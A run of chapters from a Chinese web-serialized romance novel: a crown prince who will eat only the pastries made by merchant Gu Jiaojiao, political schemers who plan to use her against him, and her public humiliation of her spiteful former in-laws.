“奴才跟在太子殿下身边时间短,不了解殿下从前的喜好,不知殿下以前爱吃什么,奴才尽力去安排?” 王福看着眼前的二人,一脸认真的询问着。 不过,在他话音落下时,双剑与双瑞互视一眼,二人几乎同时双眼放光。 “我去办。” 双瑞说着便欲离开,却被双剑拉住。 “你看看现在什么时辰了?明日再去吧。” 双剑也不问他要去做什么,似是心如明镜。 王福一脸茫然的看着他们二人,根本不知道他们在说什么。 夜已深。 沈云祉从一堆奏折中抬起头,漆黑的眸子里透着疲惫。 王福进来,带进来一碗参汤。 “殿下,您晚膳用的少,喝碗参汤吧。” 这参汤是东宫的小厨房特意做的,熬了许久,太医也说对身体有好处。 沈云祉却只是抬眼看了一眼。 “不必。” 他站起身,走出门外,站在殿前廊下,抬起头。 今日月亮倒是极圆,泛着白光,将周围的星星都笼罩在空中,看上去极美,却也让人觉得清冷。 他已算不清自己有多久没有出宫了,这四角四方的天象征着权位,也是可以困住人的。 宫外的生意还是由顾皎皎打理着,这些时日来,竟没有出现任何问题。 时间太久,他总要出宫看一看,查看一下自己的那些生意。 沈云祉心里这样想着,唇角处袭上一抹淡淡的笑意。 王福站在他的身侧,侍奉着,看着太子神情微变,却一脸不解。 难不成太子殿下喜欢赏月? 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百二十章 好了伤疤忘了疼 双瑞又来到了第一楼。 与上次不同,这一次,他特别强调,他带着银钱。 顾皎皎看着这个讨好般笑容的侍卫,白净的脸上满是震惊。 “双瑞,你们太子是将我这第一楼当成皇宫的后花园了吗?” 上次是茶叶,这是糕点,何况这跟银钱根本就毫无关系。 “顾姑娘,太子想要,哪里不是后花园,不过,您与殿下关系匪浅,自然是不能下令的。” 双瑞嘻笑着,不等顾皎皎发火,他立马再次开口。 “其实,我此次过来,殿下并不知情。” “他不知道,你就敢私自出宫?” 顾皎皎翻了个白眼,坐在桌前并未起身。 “也是没有办法的事,殿下近来忙碌,批折子常常到了深夜,但偏偏食欲极差,太医也是开了药的,可殿下却屡屡拒绝。” 身边的人都说他瘦了许多,可沈云祉自己倒不觉得。 “属下知道太子殿下爱吃姑娘亲手做的糕点,便只能自作主张出宫来寻,也不知是否有效。” 双瑞也着实是没有其他办法了。 顾皎皎心底五味杂陈,想到赵蕴苎曾入宫给沈云祉送了吃食,总是有些顾及,但为避免误会,她终究也是没有开口询问什么。 “太子殿下人中龙凤,即使是朝政略难,身旁助手良多,想必也是不必忧心的。” 顾皎皎陷入了两难的境地。 这份糕点她若是做了,该以何样的身份?若是不做,心里终究过意不去。 说到底,她所有的为难都源于自己。 “顾姑娘有所不知,朝堂之上的事千变万化,如今看上去平和,也不过是表面而已,首辅大人相助,但也终究是治标不治本。” 双瑞不可说的太明白,毕竟涉及政务,但他想,顾皎皎是聪明的,自是明白他的意思。 顾皎皎还是思索了片刻,才站起身。 “你在这等着吧。” 丢下这句话,她便走了出去。 双瑞自是高兴的,这也意味着顾皎皎答应他了。 等待的期间,莺儿奉顾皎皎之命来给双瑞上茶,只是这丫头将茶杯放下时,发出沉闷的响声,可见她是不悦的。 “你这丫头也是怪,每次见我都是一副要吃人的样子,我又没有得罪你。” 双瑞看着这丫头,也是很不喜的模样。 “怎么没有得罪?你是太子身边的人,太子得罪了,就是你得罪了。” “我们太子什么时候得罪你了?” “太子殿下先是让我们被人非议,后又撒手不管,如今还三番两次的来麻烦我们姑娘,这就是得罪。” “喂,你搞清楚,那可是太子殿下,太子啊。” “那又如何?我们姑娘是这天下最好的姑娘,别说是太子,就是皇帝也得看看自己是什么……?” 莺儿的话还没有说完,双瑞上前便捂住了她的嘴巴,此时也顾不上男女大防,生怕她将后面的话说出来。 “你不要命了?有几个脑袋敢说这种话?再说,这若是让别人听到,岂不是要连累你家姑娘?” 听到这话,莺儿眼中的怒火才散去一些,她向来心直口快,愤怒之下,竟忘了这一层。 莺儿立即从双瑞的手中抽身,后退了两步,倒是没再说什么,却还是瞪了双瑞一眼才转身离开。 双瑞轻笑,只觉得这丫头还挺有趣。 另一边,顾皎皎在厨房里忙碌着。 第一楼的厨房里,只厨娘便十几位,他们都曾想过来帮忙,却也都被顾皎皎拒绝了。 莺儿过来时,看着顾皎皎的身影,心底涌起一丝异样。 现如今,能让顾皎皎心甘情愿,又乐此不疲的亲自下厨的人,已然不多了。 莺儿自是想劝的,只是看着自家姑娘是愿意的,便也没有说什么。 顾皎皎将糕点交给双瑞时,已然是一个半时辰以后。 “这里除了一些糕点,还有特制的风腌小菜,开胃爽口,可以给殿下试试。” “多谢顾姑娘。” 双瑞拎着食盒,谢了无数次,才匆忙离开。 待他离开后,顾皎皎才看到桌上摆着的两个大银锭。 顾皎皎不禁扬了扬嘴角,拿起一个银锭看了看。 “想来,这是双瑞的私房钱。” 她的眼眸闪烁着晶亮的光芒,随口的一句话里都可以听出喜悦。 莺儿站在她身后,十分不解。 女子遇到心悦之人都是这个样子吗?昨日还伤心到不能自已,今日便可喜笑颜开。 好了伤疤忘了疼。 莺儿想到这样一句俗语,却不敢说出口。 双瑞回宫,却在东宫门口遇到了首辅大人。 首辅现下每隔几日便会来与沈云祉下棋,说是下棋,实则是谈论朝政之事。 “恭送首辅大人。” 双瑞站在门边,手中的食盒不能藏,也只能向身后移了移。 首辅大人还是停下了脚步,看向双瑞的目光也显得居高临下。 “怎么?太子殿下依旧食欲不好吗?” 他很是意外,东宫里是有专门的小厨房的,又何须出去拿吃食? “是,今日御膳房里做了两道菜,难得殿下说想尝尝,属下便过去取一些。” 双瑞一直没有抬头,怕自己的神情出了什么纰漏。 “那便好,你去吧。” 首辅说着,而后便抬脚离开。 双瑞松了一口气,想来是没有被发现。 可首辅何曾是那样好骗的。 “给我们的人传个信,查一查双瑞带回来的是什么?” 首辅走在长街之上,沉声开口。 他身边的侍从立即应下。 “老爷不信双瑞所言?” “这有什么可信的?皇宫之中,太子想要什么膳食,还需要自己的贴身侍卫亲自跑去取吗?” 首辅眼中显现过不屑,停顿了一下后,便又开口。 “何况,我看那食盒也不像是宫中之物,更像是民间的物件,让他们仔细些。” 首辅强调,也就意味着此事并不简单,那侍从也自是立即去办。 首辅是老臣,可以用老谋深算来形容,像膳食这种小事,他平常是绝不会放在心上的,可问题是,前两日赵蕴苎才来过宫里,送过糕点,这其中是否有关联,他总要查清。 而对于首辅大人的这些想法与决定,东宫里的人还丝毫不知情。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百二十一章 有何特殊 沈云祉晚膳未用,处理奏折时,双瑞将那些糕点端了过来。 “殿下,吃点东西,属下还配了些小菜。” 双瑞将几样糕点放下,便站到一边。 沈云祉未抬头,甚至看都没有看那些糕点一眼。 “不用了。” 他确实是没什么胃口。 这皇宫里,自然什么都是好的,这里的膳食无论是从营养上,还是色香味上自都是最好的,可即使是这样,他还是觉得食不知味。 “殿下近来吃的少,这时间久了难免伤身子,这豌豆黄是新做的,殿下尝尝味道?” 双瑞很是执着。 沈云祉终是抬起头,看了那些糕点一眼,随手拿起一块放入口中。 只一口,他便知这不是宫中小厨房出来的东西。 “豌豆黄,太师糕,还有这秘制的风腌小菜,你出宫了?” 沈云祉低垂着眼眸,长长的睫毛落下,漆黑的眸子里渐渐袭上一股暖意。 双瑞自知是瞒不了沈云祉的,也并未打算隐瞒。 “是,去了第一楼,顾掌柜正巧亲自下厨,便买了些回来。” 双瑞可是求人家做的,却未敢说实话。 也是了,顾皎皎最大的产业便是那间酒楼,烹饪之上也自是无人能比,何况,沈云祉所喜欢的这种味道,也只有她做的出来。 “她倒是轻闲,还有时间亲自下厨。” 沈云祉的唇边袭上玩味的笑,听不出来他这话是喜是怒,但却又拿起了一块糕点。 双瑞没有说话,而是冲着门口处偷偷使了个眼色。 王福立即端着一碗参汤走了进来。 “太子殿下,糕点过于单调,配些参汤是极好的,且奴才是根据这些糕点配的参汤,味道极佳。” 这些时日以来,王福送来的参汤以及清粥等等数不胜数,但每一份都未能放在桌上,便被拿走。 这一次,他也只是小心翼翼的端着。 沈云祉抬头看向王福,没有说话,只是凌厉的目光在那碗汤和案几之间徘徊,最后落到王福身上。 王福立即反应过来,将参汤放在案几之上。 “殿下是否还要些什么?” “不了,你去吧。” 沈云祉声音低沉,但难得吃的很香,没有名菜,也没有什么美味佳肴,只是两盘糕点,一份风腌小菜,外加一碗参汤。 这样的吃食在宫中,算是清淡至极,但也是沈云祉这些时日以来用的最香的一次。 “你既去了第一楼,顾皎皎可有说什么?” 沈云祉似是随意的询问着。 “不曾,顾掌柜忙碌,只是给了属下糕点,哦对,那小菜可以放的久一些,顾掌柜便多拿了一些,属下已经放在小厨房了。” 她什么都没有说,只是如对待顾客一般,看样子,他这个太子的身份,除了让她远离一些,并没有什么太大的用处。 沈云祉心里这样想着,并未说出口。 朝中之事千头万绪,于沈云祉这种征战沙场的人来说,并不算是大事,但却极为繁琐,也难得要耗费他的精力。 时间久了,他便也意识到,如此下去,只会让那些小人有可乘之机,他也需要培养自己的势力。 沈云祉想到的第一个人便是杜玉荣,只是这皇宫里人多眼杂,还需要费心安排一下,免得出什么纰漏。 首辅府。 首辅大人在正厅饮茶,他的侍从便从外面跑了进来。 “大人,消息查到了。” 侍从是将屋里下人都打发了出去后,才低声开口。 “说。” 首辅眉头紧锁,沉声丢出这一个字。 “那日双瑞所带的是从宫外买的糕点,我们的人亲眼看见,太子殿下用了许多,是那些时日以来用的最多的了。” 太子殿下近来食欲不好是人人得知的,只是他性子倔强,也未有人劝得动他。 “那份糕点,有何特殊?” 首辅喝着茶,脸上丝毫没有表现出意外。 “看过食物残渣,并无特殊,就是普通的民间糕点。” “糕点无特别,特别的便是做糕点的人了。” “第一楼,顾掌柜,我们的人偷听到的,还说是那位顾掌柜亲手做的。” 除了这些,那侍从还特意打听了有关这位顾掌柜的事,这一打听不要紧,便了解到很多事。 顾皎皎与沈云祉原就相识,沈云祉也多次帮助那位姑娘,只是后来沈云祉入宫,二人之间的联系便少了许多。 侍从并未查到这二人之间是否有隐秘之事,可至少证明他们之间有一定关联。 听着首辅大人的脸也愈发难看。 儿女情长之事,他本不放在心上,可是这场联姻涉及到的并非单纯的感情,还有赵家日后的前程,这样一来,首辅便不能不在意了。 “我记得,苎儿也是进宫送过糕点的。” 首辅抬头看向那侍从。 侍从自是明白他的意思,但是却面露难色。 “小姐,小姐送进去的糕点,太子未用,而是赏给了下人。” 只这一点,便可知宫外那女子非比寻常。 首辅没有说话,紧抿薄唇,眼底露出冷意。 “大人,是否派人去找那女子谈谈?” 侍从所说的‘谈谈’,自然是另有深意。 首辅则摆了摆手。 “婚事初定,还未公之于众,在此时不宜与太子闹的太僵,越是他在意的人,我们越不能过于着急。” 首辅心思细腻,考虑周全,走一步看十步,是他这些年来积累下的经验。 “那……” “将此消息透露给平王,做的隐秘些,不要让人知道是我们的意思,包括平王。” “大人英明,太子与平王分庭抗礼,水火不容,平王若是得到这个消息,自会如得到宝一般。” 侍从的脸上都袭上了得意之色。 首辅没有说话,抬了抬手,那侍从便立即退了出去。 顾皎皎。 首辅不爱记这些小人物的名字,可是这个他却记下了。 人在宫外,却还可以让沈云祉惦记,自是不容小视的,若沈云祉只是一时兴起,那便也罢了,怕只怕是入了心的人,那日后他的孙女可不会有好日子过。 首辅掌管朝政这么多年,未雨绸缪自是他的本事,他也绝不会让那样的事发生。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百二十二章 这功劳自是归你 平王府。 孙协兆如今来平王府的次数越来越频繁,只是平王对他的态度却是淡淡的。 屋子里茶香四溢,火炉烧的极旺,红红的炭火只让人看着便觉得心里暖暖的,侍女们服侍在侧,而平王则卧在床榻之上,眯着眼小憩了一会儿。 虽是小憩,却也过了半个时辰。 而在这半个时辰里,孙协兆则一直跪在外间。 没错,他是跪着的。 “你怎么还在这里?” 平王的慵懒的声音传出,语气里透着不耐,也丝毫不掩饰对孙协兆的失望。 “小婿有要事禀告。” 孙协兆的声音不大,更显小心翼翼。 平王则在里面冷哼一声。 “上一次,你说你查探到了消息,本王费尽心思安排人,可最后宫里的沈云祉安然无恙,宫外的那间药铺一夜之间消失,本王倒不敢信你了。” 平王不知是哪个环节出了问题,甚至都没有给他探查的时间,最终,他便将这份怒火撒到孙协兆身上。 孙协兆自是也不知原因,面对平王,他也只能认下这份罪责。 “上次的事是小婿无能,王爷要打要罚皆可,但这一次,机会难得,小婿不敢不汇报,以免误了王爷的大事。” 孙协兆是个不中用的,但既然打探到了消息,想来不会出错。 “进来吧。” 平王终于发话。 孙协兆立即起身,只是因为跪的太久,膝盖一软又差点跪了下去,缓了一会儿,他才一瘸一拐的走进内室。 平王已然坐起,眉目间透着倦意,却依旧给人一种凶狠的感觉。 “坐。” 平王冷不丁的吐出一个字。 孙协兆一边坐着,一边说着感谢,他自是知道,平王态度和缓,不是看重于他,而是等待着他的好消息。 “小婿得知,第一楼的顾皎极被太子看重,如今太子身处皇宫,而这顾皎皎则在宫外,可二人依旧有联系,这或许是一个突破口。” 孙协兆煞有其事的说着。 只是这话在平王听来,却如听一个笑话一般。 “孙协兆,本王若是没有记错的话,这顾皎皎曾也是你的夫人,当初和离,你们闹的极为难堪,你自是落了下风的,今日说这些,莫不是想借本王的手,替你报仇?” 平王对这个顾皎皎印象深刻,毕竟也曾出手对付,但却没有得到什么好结果,而这孙协兆当初所受的屈辱,他也是略有耳闻。 这样一来,孙协兆的话则不可信了。 “王爷明鉴,小婿与那顾皎皎确实有些渊源,可也万万不敢拿王爷的大事做赌注。” 想到顾皎皎,孙协兆也难免不会想到他当日之辱,可他确实没有那个胆子。 平王半眯着眼,上下打量了孙协兆一番,嘲讽之意瞬间袭上脸庞。 “说起来,顾皎皎只是一介女流,你身为男子被一女子逼到借印子钱,实属意外,只是本王府这奴才都不曾如你这般狼狈。” 平王高高在上,所说之话皆是侮辱之间,孙协兆只能听着,认下,隐藏在心底的那股怒火全部放在顾皎皎身上。 若不是顾皎皎一意孤行,他堂堂候府的公子,又何须受此屈辱。 “王爷说的是,是小婿无能,但这件事,并不是小婿信口雌黄,而是得到了证实。” 孙协兆说到糕点之事。 太子食欲不好,又不肯吃药,无论是御膳房,还是东宫的小厨房,都换着花样给他做吃的,甚至连首辅大人的孙女都送去了糕点,可他依旧一口未动。 可偏偏,太子吃了顾皎皎所做的糕点。 “那糕点是太子的侍卫亲自去取的,想来,也是太子殿下的主意。” 孙协兆一口气说完这些,也终于看到平王的神色和缓了许多。 “太子虽然自幼不在宫中长大,可之前到底也是小云南王,该是见惯了倾城绝色才是,怎会对一个商户之女如此看重?” 平王此话,不像是询问,更像是不解。 商户之女,身份低微,又曾嫁人,整日抛头露面,这样的女子怎会得男子欢心? “王爷是通透之人,自是不会被那等女子迷惑,那顾皎皎相貌不错,是个惯会使狐媚手段的,当初与她和离,太子也是帮了她的,想来二人早有关系。” 到现在为止,再说起顾皎皎,孙协兆还是满脸的鄙夷。 “这些消息,是从何而来?” 平王直视着孙协兆,语气也加重了几分。 “昨日与几位好友相聚,其中一人的表兄乃是城门的侍卫,这侍卫又与东宫的一名宫女相识,消息便传了出来。” 孙协兆迎着平王的目光,答的十分详细,也难怪,有了前车之鉴,再为平王做事,他自是更为小心,何况,平王给的好处着实不少。 平王也在此时挑了挑眉,相信了孙协兆的话。 “好,本王会派人核实,如果此事为真,这功劳自是归你。” 平王说着时,又似是想到了什么继续说了下去。 “还有,此事要保密,待本王安顿好再说,莫要像上次一样,打草惊蛇。” 这是提醒,也是警告。 “是,小婿自会听王爷吩咐。” 孙协兆在平王这里又得了脸,临行前,平王还让他带了一些首饰,他也不傻,回到候府后,便将这些首饰悉数产给了徐青青。 “这是父王给你的?” 徐青青看着那一箱首饰,满脸不信的看着孙协兆。 孙协兆笑的灿烂。 “岳父大人是赏赐,可这明显是让我给你带回来的,不然怎会只赏首饰?” 徐青青好看的脸上顿时袭上笑意。 “夫君说的是,自我们成婚,父王不曾关心我一次,这样看来,定是平王妃不允,父王也只能以这样的方式对我好。” “我也觉得是这样,岳父如今正处于关键时期,平王妃虽然未育有子女,可在政务上是可以帮助岳父大人的,倒也是不可得罪,但岳父大人心里定是惦记着你的。” 孙协兆并非是安慰,而是他是真的这样想的。 徐青青开心的不得了,想着前些日子因为衣料之事得罪全府,现下也可借此机会耀武扬威一番。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百二十三章 是该给些教训 徐青青带着一些珠宝来到孙老夫人的房中。 上次衣料的事,让这位孙老夫人丢了好大的脸,即使是现在也会有背地里嘲笑她,现下看到徐青青过来,眼中更是掩饰不住的厌恶。 “我不是说过,你不必过来请安吗?谁让你来的。” 孙老夫人本在点茶,如今也没了兴致,将手中的物件丢在一旁,语气里满是不悦。 徐青青面带笑意,还是恭恭敬敬的行了个礼。 “婆母何必为了几匹料子生气?事情都过去了,何况,那又是意外,儿媳也并非有心。” “那是料子的事吗?就因为你的愚蠢,让我成为官中女子中的笑话。” 提起此事,孙老夫人依旧是怒不可遏。 只是,她们心里都清楚,孙老夫人被人笑话也不只是这一件事,当初用顾皎皎的嫁妆,付不起第一楼的费用等等,早就被人笑掉大牙了。 徐青青眼中的笑意未减,也不等老太太开口,便直接坐了下来。 “安阳候府的脸早就丢尽了,若不是我以郡主的身份嫁过来,此时还不知什么样呢,婆母也早该习惯了才是,怎还会因这么一件小事动怒呢?” 孙老夫人脸色骤变,青一阵白一阵,一时竟不知该如何反驳,最后也只是咬牙切齿的丢出两个字。 “放肆。” 徐青青不以为然,摆了摆手,她身边的青儿便将一个木盒子放到了孙老夫人旁边,还打开了盖子。 “婆母消消气吧,父王命夫君给我带来这些,只是我想着婆母辛劳,便拿来送给您。” 徐青青的言语间都是不屑,唇边的笑意更为得意,甚至都不愿看孙老夫人的脸。 那盒子里装着各种首饰,玉镯、金钗等等,无论是哪一个拿出来都价值连城。 孙老夫人双眼放光,刚刚的厌恶与怒气好似瞬间消失不见了。 “你是说,是平王爷送来的?” “这如何能假?还是让夫君带回来的,我呢,虽然自小被养在外面,可到底是平王府唯一的女儿,我父王为人严苛,却也终究血浓于水。” 徐青青抬着手帕轻拭唇角,每一个举动,每一个笑容都透着高傲。 什么老夫人,什么安阳候府,她根本都不放在眼里。 “你这样一说,协兆近来确实与平王走的近些。” 安阳候府的每一个人都是会变脸的,这位孙老夫人更是最会的,此时,倒好像忘记了自己刚刚说的话。 “那是自然,夫君是父王唯一的女婿,还能亏待他不成?” 徐青青更为得意了。 孙老夫人正欲说什么,章氏与刘氏便走了进来。 这二位看到徐青青自也是没什么好脸色,毕竟那衣料的事上,她们也是受害者。 “三弟妹竟还敢来母亲房中,这人啊,脸皮若是厚起来,真是难得的本事。” 刘氏高昂着头,没有任何征兆的开口。 章氏是个精明的,看出气氛不对,便拉了拉她,却不想这刘氏丝毫不管。 “大嫂还要留情面吗?我们候府娶了这等蠢货,被她牵连丢脸不说,还赔了那么大一笔银子,这等女子,就该丢到街上,免得污了候府的清誉。” 刘氏向来是没脑子的,又是有什么就说什么的性格,这一番话下来,可畏是彻底与徐青青撕破脸。 “住口。” 孙老夫人突然开口,语气里满是怒火,而徐青青坐在一旁悠闲的品着茶,像是没有听到刘氏的话一般。 “母亲,您莫不是忘了,前几日才……” “我让你闭嘴。” 孙老夫人直接打断了刘氏的话,一副恨铁不成钢的样子继续说道。 “青青是我们候府明媒正娶的儿媳,你怎可这样说她?何况,上次的事她也是被那个顾皎皎骗了,我们一家人不互相帮助,还要搞内讧吗?” 孙老夫人的一番话,让刘氏和章氏都无比意外。 毕竟,在此之前,骂的最多的便是这老夫人,还说过让徐青青在这候府再也没有消停日子,怎的几日就变了? 随即,章氏便扫到孙老夫人桌上的那盒珠宝。 “母亲说的是,本就是一家人,三弟妹,当时我们也是太过着急了,你可千万别往心里去。” 章氏这一番话,彻底惹怒刘氏。 “我说大嫂,你怎么还墙头草呢?当日母亲要处置这徐青青,你可是出谋划策的,今日……” 刘氏的话还未说完,就被章氏狠狠的掐了一把,眼神示意她小心。 刘氏不明白,但还未再说什么,徐青青便开口了。 “我也算是听明白了,原来大家都是这样想我的,婆母,您年纪大了,我也不计较,但这两位嫂嫂如此,我也实在伤心,自下个月起,两位嫂嫂房中的开销便减少一些吧。” 说着,徐青青便站起身,看着孙老夫人又装出询问的模样。 “婆母觉得呢?” “自然,她们二人口无遮拦,是该给些教训。” 听到孙老夫人这样说,徐青青才露出满意的微笑,扭动着纤细的腰肢大摇大摆的走了。 待人走了,刘氏才反应过来,冲着门外大叫。 “凭什么?徐青青,你给我说清楚。” “好啦,还不是因为你蠢。” 孙老夫人低吼出声,然后指了指桌上的那盒珠宝。 “看到了吗?平王让协兆带回来的,明白是什么意思吗?” 刘氏和章氏凑了过去。 上好的玉,纯金的钗环,就连那坠子都是少见的阳绿,只这些东西便不知要买多少料子了。 “这……这是徐青青带来的?” 刘氏只盯着那些东西,完全忽略掉了孙老夫人的话。 “东西是一方面,重要的是,这是平王的赏赐。” 章氏抬眼看着孙老夫人,脸上袭上了一层淡淡的笑意。 “母亲,说起来,徐青青到底有个郡主的身份,平王莫不是要为她出气?” “出气谈不上,但你们心中要有数,平王可是我们得罪不起的。” 孙老夫人提醒,转而看到刘氏盯着那些珠宝,口水都要流出来,便一脸嫌恶。 刘氏想分些东西,孙老夫人自然不肯,将那些通通收了起来,至于减少开销的事,孙老夫人也未替她们说话。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百二十四章 咄咄逼人 安阳候府的消息,顾皎皎也得知一些,只是她早就不放在心上。 顾皎皎出门巡视铺子,却在街角处遇到了安阳候府的章氏与刘氏。 在徐青青那里讨不到好处,这二位便也会将怒气撒到顾皎皎身上。 “这世道真是的变了,狐媚狡诈的贱人都敢出来争抢首饰,果然是只要不要脸面,什么事都可做得出来。” 刘氏一脸的高傲,瞟向顾皎皎的目光都带着鄙夷。 章氏站在一侧,神情上倒是看不出什么,却也并未阻拦。 顾皎皎只在心里觉得今日出门没看黄历,惹得心情不悦。 她看向柜台上那串珠子,晶莹剔透的红色,是上好的玛瑙,每一颗珠子都是精心挑选过的,串成一串,好看极了。 这串珠子,顾皎皎一眼便看中了,她是想送给莺儿的,这大红的颜色,莺儿最喜欢了。 “这位夫人怕是不知何为脸面,先来后到的规矩不懂吗?” 顾皎皎声音冷了几分,转头看向铺子里的掌柜。 “夫人勿怪,这珠子确实是这位姑娘先看上的,小店还有其他上好的珠串,夫人尽可挑选。” 这掌柜的也算是说了句公道话。 可安阳候府的人,怎会如此罢休。 “我只要这个,顾皎皎,你一个弃妇,又以肮脏的手段在做生意,怎配得上这般好的珠串?再说了,我们可是安阳候府的人,你是什么东西?” 刘氏环抱着双臂,满脸的鄙夷,就算是为了争口气,她也不会让的。 “皎皎啊,这珠子你确实是不合适,我们啊是想买这串珠子送给三弟媳的,你也知道,青青啊是郡主,总得有好东西来配。” 章氏是个最会和稀泥的,看似态度极好,实则笑里藏刀,每一个字都似刀子一般往人心窝子上捅。 现在的顾皎皎也不会忍耐了。 她将手中的珠串轻放在柜台之上,眉眼含笑的伸出了手。 “你们想要,请。” 她轻描淡写的一句话让对面的二人有些意外。 “老板,给我包起来。” 刘氏得意,甚至觉得顾皎皎是怕了她们。 那老板看了看顾皎皎,眉眼间也是无奈,毕竟他谁也得罪不起。 “好,这条珠串三百两,夫人是给银子,还是银票?” “三百两?你怎么不去抢?不过是玛瑙,你竟然敢要这么多,怕不是个黑心的。” 刘氏惊呼出声,眼睛瞪的老大,一副要吃人的模样。 那老板也是极为意外。 “夫人可否看清了?这可是上好的玛瑙,每一颗珠子都是极为难得的,在京城之中绝找不出第二件,小的要这些已然是良心价了。” 老板倒是一个耐心的,还仔细的解释着,可即使是这样这三百两,刘氏也出不起。 刘氏与章氏互视一眼,章氏也面露难色。 她们二人今日相约出来,便是想选一个特别的东西送与徐青青,用来缓和关系,自然,她们都是自私之人,任谁也不想出太多银钱。 空气凝固。 顾皎皎只是站在一旁看着她们,面色平静,对于她们的难堪,没有表现出丝毫意外。 “你们到底要不要?顾掌柜在这等着呢,你们若是不要,我这珠串也是要卖的。” 那老板自是看出了二人的意思,言语间也顿时不悦起来,若是因为这二人没有将这珠串卖出去,他可是要打人的。 “要,当然要,但是你这东西也太贵了,不妨便宜一些。” 刘氏这脸皮也是在安阳候府多年浸出来的,可老板却被她的言词震惊的说不出来话。 旁边就站着一位不嫌贵的等着,眼前的这位妇人竟然还要来讲价吗? “掌柜的,这样吧,我们今日带的银钱不足,先交你定钱,明日将剩余的部分补上,可好?” 章氏是想了一个折中的法子,可即使是这样,那老板也是不同意的。 “二位夫人也真是有趣,从别人手里抢东西,竟然还付不起银钱,小店概不赊账,也没有定钱一说。” 那掌柜的收起珠串,仔细的包好后,一脸赔笑的递给了顾皎皎。 “顾掌柜,您看……” 这便是顾皎皎想要的效果。 她并未为难这老板,将那珠串接了下来,随之便将三百两银票放到柜台上。 那老板喜笑颜开,连连道谢,转头瞥见那二位,脸瞬间阴沉下来。 “顾皎皎,你什么意思?故意打我的脸,是吗?” 刘氏咬牙切齿,脸涨的通红,但她确实拿不出这些银钱。 顾皎皎根本就没有理会她,而是转头将那珠串交给了身后的莺儿。 莺儿愣住,一时没敢接下。 “姑娘这是送我的?” “是啊,明日便是你的生辰,这算是生辰礼。” 顾皎皎说的理所当然。 莺儿感动不已,眼中泛着泪,她只是一介婢女,但是每年的生日,她的姑娘都会记得。 “谢姑娘。” 莺儿将那珠串收下,紧紧的抱在怀里,喜欢得的不得了。 而这一幕,都真真实实的被那二位夫人看见。 顾皎皎出手阔绰,送给下人的东西随随便便就是三百两,可刘氏与章氏身上的银钱加起来,都不值三百两。 “脸呢,是你自己伸过来被打的,与我无关,不过,二位夫人如今的样子,也着实令我意外。” 顾皎皎说了,她不会忍耐。 她上前两步,打量着眼前的二位,轻笑着开口。 “曾在安阳候府时,二位拿着我的嫁妆买什么东西可是连眼睛都不眨一下,半月可就有三千两的花销,怎的今日连三百都拿不出呢?” 看着眼前二人脸色愈发难看,顾皎皎挑了挑眉,丝毫不掩饰眼中的得意。 “皎皎,我们好歹也是一家人,何必如此咄咄逼人?” 章氏被公然打脸,面子上自然过不去,站出来想要以这种方式阻止顾皎皎。 顾皎皎为何还要给她留面子? “说起来,这安阳候府最精明的便是你了,刘氏是个没脑子的,常常被你拿来当枪使,她在前面冲锋陷阵,你落得个好名声,最后得了好处,你们也是一人一半的。” 顾皎皎早就看的透彻,只是之前从未说起。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第三百二十五章 当面言谢 “顾皎皎,你胡说八道什么?我与二弟妹向来和睦。” 倒是难得看到章氏如此急切的模样,那张透着算计的脸上满是怒火。 刘氏确实没脑子,她自己是想不通这一点的,可若是有人提醒,她也不是一个彻底的傻子。 “大嫂,她说的是真的吗?” “你怎可听她胡言乱语?她就是恨我们候府,才会故意挑拨。” “我为何恨你们?嫁入候府两年,虽是损失了银钱,可我也不在乎啊,因为我现在最不缺的便是钱。” 顾皎皎直接插入二人的对话,见刘氏略显迟疑,她便继续开口。 “你们候府的事,我本不欲多说,可今日二位不依不饶,那我也只好多一句嘴,如今候府里徐青青管家,想来给你们的东西都不多,只是二夫人也该想想,你与大夫人关系匪浅,为何她每次得的好处,都比你多呢?” 顾皎皎留下这句话后,便大步离开。 章氏愕然,她不知为何候府的事顾皎皎会一清二楚,但也容不得她想许多,刘氏便伸手将她推了一个踉跄。 “章氏,我视你为姐妹,却不想你竟是这样对我的,你好狠的心,比顾皎皎,徐青青更可恨。” 刘氏火冒三丈,也根本不给章氏说话的机会,气冲冲的离开了这间铺子。 章氏也并不是什么高门大户,可这样被人围观嘲笑还是第一次,最后也只能低着头,逃也似的离开这里。 上了马车,顾皎皎心情极好,都已经走出去很远,她还能听刘氏大骂章氏的声音。 “活该,她们这群败类也有狗咬狗的时候,真是痛快。” 莺儿坐在顾皎皎身侧,无不得意是说道。 顾皎皎在安阳候府的那段日子,那二位虽然没有直接做什么,可是背后使坏,挑拨离间,甚至耍手段陷害等等,都有她们的功劳。 原本想着离开了候府,便与她们老死不相往来,谁知她们竟不知死活的送上门来。 “徐青青向来不是好相与之人,又瞧不上安阳候府,这二人在候府里的日子自然是不好过的。” 顾皎皎低声说着,眼底的笑意未散。 “连那点银钱都拿不出,自然是不好过,那也是她们的报应,不知她们回府后还会不会再门一场。” “自然是会的,刘氏那爆竹性子,一定会恨不得全府的都知道的。” 主仆二人说着闲话,马车便向第一楼走去。 顾皎皎下了马车后,伙计就跑了出来,在她耳边轻声说了什么。 她眉头紧锁,快走几步直奔二楼的一间雅间。 听到开门声,双瑞立即站起身,没有说话,只是一个劲儿的笑,似是讨好一般。 “我说,你还有完没完,我们姑娘要忙得很,怎会次次都亲自下厨给你家太子做吃食?你们皇宫里连个会做饭的人都没有吗?” 听看到双瑞,莺儿便气不打一处来,她日日都劝说她家姑娘忘记那个人,可是这群人偏偏时不时的出现,在人眼前晃来晃去。 双瑞自然也知道是扰了顾皎皎,可是他没有办法。 “莺儿,别乱说,上茶。” 顾皎皎坐下来,莺儿也只好气鼓鼓的走了出去。 “属下实在是没有办法,只有姑娘做的吃食殿下才肯多用些,宫里也是变着花样的将吃食送来,只是……” 只是沈云祉不爱吃,只说没有胃口,这时间久了,定然是伤身体的。 “自然了,属下也知道是叨扰了姑娘,银钱我会多付的。” 双瑞又抓紧补了一句。 顾皎皎不禁被他逗笑。 想着初识双瑞之时,句句说话带刺,刺杀之案时,他更是替沈云祉鸣不平,处处刁难于她,而如今,他却也能平和、放低姿态跟她说话,实在不易。 说到底,无论是之前还是现在,双瑞态度的转变,都是为沈云祉,可见他忠心耿耿。 